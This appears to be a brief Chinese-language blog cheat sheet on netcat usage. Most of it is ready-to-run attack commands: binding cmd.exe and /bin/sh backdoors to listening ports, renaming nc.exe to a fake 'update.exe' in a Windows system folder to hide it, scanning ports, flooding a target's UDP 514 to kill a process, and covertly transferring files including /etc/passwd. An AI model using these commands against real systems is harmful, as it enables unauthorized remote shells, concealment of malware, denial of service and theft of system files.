netcat用法

一、在win下开放cmd后门

在终端下的命令:

nc.exe -l -p 4455 -d -e cmd.exe

上述命令只能依托于命令行运行,我们可以吧-l 参数换成 -L(-L只能在win下才能使用)

nc.exe -L -p 4455 -d -e cmd.exe

可以把nc程序重命名为升级程序,增加隐蔽性

move nc.exe c:\Windows\System32\Drivers\update.exe

update.exe -p 4455 -d -L -e cmd.exe

在linux上开启后门

nc -u -l -p 55555 -e /bin/sh

连接linux后门

nc -u targethost 55555 -e /bin/sh

 

二、开启端口监听

nc.exe -l -p 80

 

三、端口扫描

简略查看开放端口

nc -z -v 192.168.43.96 1-1000

较详细查看开放端口

nc -v 192.168.43.96 1-1000

nc -v 192.168.43.96 21 22 80

 

四、不断输出字符串杀死进程(targethost为目标ip地址)(UDP通信)

yes “<20>blahblahblah” | nc -u -s 10.0.0.1 targethost 514

 

五、文件传输(构建自己的ftp)(隐蔽的文件传输)

在服务机

nc -l -u -p 55555 < 1.txt

nc -l -u -p 55555 < /etc/passwd

在客户端

nc -u -targethost 55555 > 1.txt

你可能感兴趣的:(web安全)